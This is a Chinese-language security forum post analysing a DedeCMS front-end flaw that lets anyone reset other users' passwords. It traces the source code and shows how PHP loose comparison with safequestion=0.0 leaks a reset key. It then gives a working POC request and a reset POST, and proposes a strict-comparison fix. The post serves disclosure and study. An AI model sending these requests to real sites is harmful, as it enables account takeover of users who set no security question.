1

[原创][投稿]dedecms前台修改任意用户密码漏洞分析

reklawetihwx 2018-1-11 13:48 1066

前言

  • 漏洞公布时间:2018/01/10
  • 影响版本:V5.7SP2正式版(2018-01-09)之前所有版本

漏洞说明

这个漏洞的前提是需要开启用户注册的功能,造成的危害是能够修改前台部分用户的密码,这部分用户是那些没有设置密保问题的用户。前台管理员密码虽然也没有设置密保问题,但是由于dedecms本身的功能即使修改密码也是无法登录的。

 

dedecms重置密码的原理是给重置密码的用户发送一个重置密码的链接。那么在进行重置密码时,修改为其他的用户就能够修改其他用户的密码了,所以本质上来说这是一个越权漏洞。

漏洞分析

假设dedecms已经开启了用户注册的功能,用户重置密码的的URL是为http://localhost/member/resetpassword.php。对应于源码的位置是member/resetpassword.php

safequestion分析

member/resetpassword.php中存在三个重置密码的方法,分别是getpedsafequestiongetpasswd。而本次的漏洞与safequestion有关。
分析safequestion方法代码:

else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起,您的安全问题或答案回答错误","-1");
        exit();
    }

}

其中有几个关键的验证,如empty($safequestion)empty($safeanswer)if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)。首先我们需要知道,一个没有设置密保问题的用户,默认的safequestionsafeanswer结果。

mysql> SELECT safequestion,safeanswer,userid,email FROM dede_member WHERE mid='1';
+--------------+------------+--------+-------+
| safequestion | safeanswer | userid | email |
+--------------+------------+--------+-------+
|            0 |            | admin  |       |
+--------------+------------+--------+-------+
1 row in set (0.00 sec)

默认情况下的safequestion为0,safeanswer为空。那么如何通过这个验证呢?如果我们传输的safequestion为0,而empty($safequestion)为True。此时我们需要利用到php的隐式类型转换,即PHP在进行类型比较、类型判断时会自动进行一些类型的转换,如下:

var_dump(empty(0));             // true
var_dump(empty('0'));           // true
var_dump(empty('0.0'));         // false
var_dump(0.0==0);               // true
var_dump('0.0'==0);             // true
var_dump(null=='');             // true

所以我们设置我们输入的safequestion为0.0,safeanswer为空就可以绕过这个验证,此时empty($safeanswer)为True$row['safequestion'] == $safequestion也为True,而数据中查询出来的safeanswer本身就为NULL,所以我们设置为空,就可以通过验证。之后程序进入sn($mid, $row['userid'], $row['email'], 'N');中。

 

所以这个地方重置的仅仅是那些没有设置密保问题的用户,因为只有这些用户他们的safequestion才是空

sn函数分析

跟踪进入到member/inc/inc_pwd_functions.php:sn()中,

function sn($mid,$userid,$mailto, $send = 'Y')
{
    global $db;
    $tptim= (60*10);
    $dtime = time();
    $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(!is_array($row))
    {
        //发送新邮件;
        newmail($mid,$userid,$mailto,'INSERT',$send);
    }
    //10分钟后可以再次发送新验证码;
   elseif($dtime - $tptim > $row['mailtime'])
    {
        newmail($mid,$userid,$mailto,'UPDATE',$send);
    }
    //重新发送新的验证码确认邮件;
    else
    {
        return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
    }
}

进入到sn()函数之后,会执行SELECT * FROM #@__pwd_tmp WHERE mid = '$mid',此条SQL语句查询的是dede_pwd_tmp,此表存储的就是重置密码的临时KEY。由于此时没有重置密码,所以没有对应此用户的记录。

 

 

进入到第一个判断newmail($mid,$userid,$mailto,'INSERT',$send);

newmail函数分析

追踪进入到member/inc/inc_pwd_functions.php:newmail()

function newmail($mid, $userid, $mailto, $type, $send)
{
    global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
    $mailtime = time();
    $randval = random(8);
    $mailtitle = $cfg_webname.":密码修改";
    $mailto = $mailto;
    $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
    $mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
    if($type == 'INSERT')
    {
        $key = md5($randval);
        $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
            } else if ($send == 'N')
            {
                return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
            }
        }
        else
        {
            return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
        }
    }

进入到$type == 'INSERT'中,生成一个临时KEY,$key = md5($randval);,然后插入到数据库中,$sql = "INSERT INTO #@__pwd_tmp (mid ,membername ,pwd ,mailtime)VALUES ('$mid', '$userid', '$key', '$mailtime');";。接下来根据参数$send的值判断是将重置密码的链接通过邮箱发送还是直接跳转。这个参数最开始是在$dopost == "safequestion"中设置的,默认值是N,那么就会将对应id的密码返回。

 

 

拿到重置链接直接在浏览器中访问就可以修改此id对应用户的密码了。

 

重置密码

重置密码发送的请求如下:

URL:http://localhost/member/resetpassword.php
POST:dopost=getpasswd&setp=2&id=3&userid=test02&key=K5TrsKQB&pwd=123456&pwdok=123456

其中的pwdpwdok是我设置的重置密码。

 

此重置密码的请求就会进入到member/resetpassword.php$dopost == "getpasswd"

else if($dopost == "getpasswd")
{
    //修改密码
    if(empty($id))
    {
        ShowMsg("对不起,请不要非法提交","login.php");
        exit();
    }
    $mid = preg_replace("#[^0-9]#", "", $id);
    $row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'");
    if(empty($row))
    {
        ShowMsg("对不起,请不要非法提交","login.php");
        exit();
    }
    if(empty($setp))
    {
        $tptim= (60*60*24*3);
        $dtime = time();
        if($dtime - $tptim > $row['mailtime'])
        {
            $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
            ShowMsg("对不起,临时密码修改期限已过期","login.php");
            exit();
        }
        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
    }
    elseif($setp == 2)
    {
        if(isset($key)) $pwdtmp = $key;

        $sn = md5(trim($pwdtmp));
        if($row['pwd'] == $sn)
        {
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db->executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db->executenonequery($sql))
                    {
                        showmsg('更改密码成功,请牢记新密码', 'login.php');
                        exit;
                    }
                }
            }
            showmsg('对不起,新密码为空或填写不一致', '-1');
            exit;
        }
        showmsg('对不起,临时密码错误', '-1');
        exit;
    }
}

进入之后,会进行$db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'")查选,因为在重置密码时已经在dede_pwd_tmp表中保存了记录,所以此时存在数据。

 

 

之后根据step的值为2,进入到更改密码的操作中。更改密码之后会进行$sn = md5(trim($pwdtmp));if($row['pwd'] == $sn操作,与数据库的中密码进行校验,校验成功之后,就会执行一下的两条SQL语句:

"DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';"            # 删除临时密码表中的数据
"UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";    # 更新dede_memeber中的密码

至此就完整了整个任意用户密码的重置过程。

POC

这个漏洞的POC也比较的简单,通过safequestion方法重置密码即可。

URL:member/resetpassword.php
POST:dopost=safequestion&safequestion=0.0&safeanswer=&id=用户ID

总结

这个漏洞其实并没有使用什么特殊技巧,仅仅是由于程序在校验的时候不严格。所以这个漏洞也很好修复,将$row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer中的==变为===。除此之外,我在调试这个漏洞时发现这个safequestion并没有对应到前台的某个操作,所以感觉这个方法一直没有被使用,而这个漏洞刚好利用了这个方法,所以如果不用这个方法的是完全可以删除的,最后就看官方如何修复吧。

最新回复 (5)
2
静河流 2018-1-11 14:16
3
感谢投稿,昨天刚爆的dedecms漏洞,分析和复现过程写的很好。
cnfreiheit 2018-1-11 14:53
4
感谢分享,学习了~~
ggsuper 2018-1-12 06:23
5
mark,感谢分享
zhengsidie 2018-1-12 09:56
6
写得不错
梦想遥不可及 5天前
7
很不错的帖子,认真学习了
返回